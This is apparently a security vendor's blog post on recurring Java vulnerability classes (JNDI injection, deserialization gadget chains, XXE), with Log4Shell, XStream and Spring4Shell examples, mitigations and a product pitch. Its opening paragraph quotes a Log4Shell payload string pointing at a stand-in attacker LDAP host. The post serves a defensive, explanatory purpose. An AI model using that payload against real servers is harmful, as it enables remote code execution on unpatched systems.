Safeguard
Open Source Security

The Java ecosystem's recurring vulnerability classes: deserialization, XXE, and JNDI injection

Log4Shell scored a 10.0 CVSS and Spring4Shell followed five months later — both traced back to two patterns Java has repeated for a decade.

Safeguard Research Team
Research
6 min read

On December 9, 2021, the world learned about CVE-2021-44228 — Log4Shell — a flaw in Apache Log4j's message-lookup substitution feature that let attackers achieve remote code execution by getting a single string like ${jndi:ldap://attacker.com/a} logged. Chen Zhaojun of Alibaba Cloud had privately reported it two weeks earlier, on November 24, and it drew a CVSS score of 10.0, the maximum possible. Log4j sat in the dependency tree of an enormous share of Java server applications, from Minecraft to enterprise middleware, because it's one of the most widely pulled-in transitive dependencies in the Maven ecosystem. But Log4Shell wasn't a novel bug class — it was the highest-profile instance of a pattern the JVM ecosystem has repeated for over a decade: giving untrusted input the power to instantiate arbitrary objects or resolve arbitrary remote resources during parsing. This post walks through the three recurring classes — JNDI injection, unsafe deserialization, and XXE — with real CVEs, real fix dates, and the concrete mitigations that stop each one at the source.

What made Log4Shell a JNDI injection bug rather than a generic RCE?

Log4Shell was a JNDI injection bug because the vulnerable code path ran through Log4j's Lookup interpolation feature calling into Java Naming and Directory Interface (JNDI), not through a generic eval-style sink. When Log4j formatted a log message, it recursively substituted ${...} patterns, and one of those lookup types — jndi: — passed the resolved string straight to JndiManager, which could fetch and instantiate a Java class from an attacker-controlled LDAP or RMI server. That's what let a single logged string turn into remote code execution: JNDI's lookup-and-load behavior, not deserialization of a byte stream. Apache shipped Log4j 2.15.0 on December 10, 2021 to restrict lookups, then hardened further in 2.16.0 (December 13) by disabling message-lookup substitution entirely and later removing JNDI lookup support by default in 2.17.0. The lesson generalizes past logging: any code path that resolves a JNDI, LDAP, or RMI reference built from untrusted input is a remote-class-loading primitive, whether it's reached through a logger, a JMS listener, or a custom naming service.

Why does Java deserialization keep producing remote code execution?

Java deserialization keeps producing RCE because ObjectInputStream.readObject() and equivalent library APIs will happily instantiate any class on the classpath that the serialized stream names, including classes with constructors or readObject/readResolve methods that trigger side effects an attacker can chain into code execution — a pattern popularized as "gadget chains." XStream, a widely used Maven library for converting Java objects to and from XML, embodies this directly: CVE-2013-7285 let attackers achieve arbitrary code execution because XStream, by default, resolved arbitrary types named in the XML payload during unmarshalling, with no restriction on which classes could be instantiated. The fix wasn't a one-time patch — a cluster of follow-up bypasses (including CVE-2021-21351, patched in 1.4.16) kept surfacing because attackers found alternate parser paths around each blacklist entry, until XStream 1.4.18 switched the security framework's default from a denylist to an allow-list — the same setupDefaultSecurity()-style type permissions, just enabled out of the box instead of requiring the application to opt in. Allow-listing which types may be instantiated is the only durable fix for this class — denylists are a race you lose one gadget chain at a time.

Is Spring4Shell part of the same bug family as Log4Shell?

No — Spring4Shell (CVE-2022-22965) is a distinct vulnerability that happened to surface five months after Log4Shell and got bundled with it in incident retrospectives purely because of timing. Rather than deserialization or JNDI, Spring4Shell abused Spring MVC/WebFlux's data-binding feature: on JDK 9 and later, a crafted HTTP request parameter could reach getClass().getModule()... through property-binding reflection and manipulate the application's class loader, achieving remote code execution on Tomcat deployments packaged as a WAR under specific configurations. A working proof-of-concept leaked publicly around March 29-30, 2022, before Spring had shipped an official patch — an unusually dangerous window — and Spring released fixes on March 31, 2022 for Spring Framework and Spring Boot, with a CVSS score of 9.8. The takeaway for Maven-based projects: pinning spring-core and spring-webmvc/spring-webflux versions and tracking Spring Security Advisories matters as much as patching Log4j, because both incidents hit the same population of Spring-based services within one quarter.

Why does XXE keep appearing across different Java XML parsers?

XXE keeps appearing because it isn't tied to one library or one CVE — it's a structural default across the entire JVM XML stack. DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, and related factories all ship, out of the box, with external entity and DTD processing enabled, so any code that parses attacker-supplied XML without explicitly hardening the factory is vulnerable to reading local files, triggering server-side request forgery, or causing denial of service via entity expansion. XXE had its own OWASP Top 10 category in 2017; the 2021 and 2025 revisions fold it into the broader Security Misconfiguration category instead, but the underlying reason it keeps recurring hasn't changed — the unsafe configuration is still the default rather than the exception. Every Maven dependency that parses XML on your behalf — SOAP clients, XML-RPC libraries, config loaders, even some logging appenders — inherits this default unless it explicitly disables external entities. The fix is the same across every factory: call setFeature("http://apache.org/xml/features/disallow-doctype-decl", true), enable FEATURE_SECURE_PROCESSING, and disable external general and parameter entities before parsing anything that didn't originate from your own build.

What actually stops these three classes from recurring?

Allow-listing beats blocklisting in every one of these cases. For deserialization, that means using XStream's setupDefaultSecurity() type permissions (or migrating to a format that doesn't deserialize into arbitrary types, like a JSON mapper without polymorphic type handling enabled), not adding classes to a blacklist as each gadget chain gets discovered. For JNDI, it means treating any user-influenceable string that reaches a naming or lookup API as a code-execution sink, and keeping Log4j at 2.17.0+ rather than only the minimum patched version. For XXE, it means hardening every parser factory at construction time rather than patching call sites as they're found. None of these mitigations require replacing a framework — they require knowing which of your Maven dependencies actually reach a deserialization, JNDI, or XML-parsing sink with attacker-influenced input, which is a reachability question, not a "is this version in my lockfile" question.

How Safeguard helps

Safeguard's SCA engine resolves your full Maven and Gradle dependency graph — direct and transitive — and matches it against CVE/GHSA advisories enriched with EPSS and CISA KEV, so a pinned XStream or Log4j version surfaces immediately with its exploited-in-the-wild status attached rather than a bare severity number. Reachability analysis, GA for the JVM (Java, Kotlin, and Scala), then builds a call graph from your compiled bytecode to determine whether your code actually reaches the vulnerable readObject(), JNDI lookup, or unhardened XML factory — separating a Log4Shell-class finding your services can never trigger from one sitting on an internet-facing endpoint. That reachability verdict flows into a single prioritized findings queue, so teams patch the handful of instances that are exploitable in their own codebase instead of re-litigating severity on every dependency that merely contains a vulnerable class.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.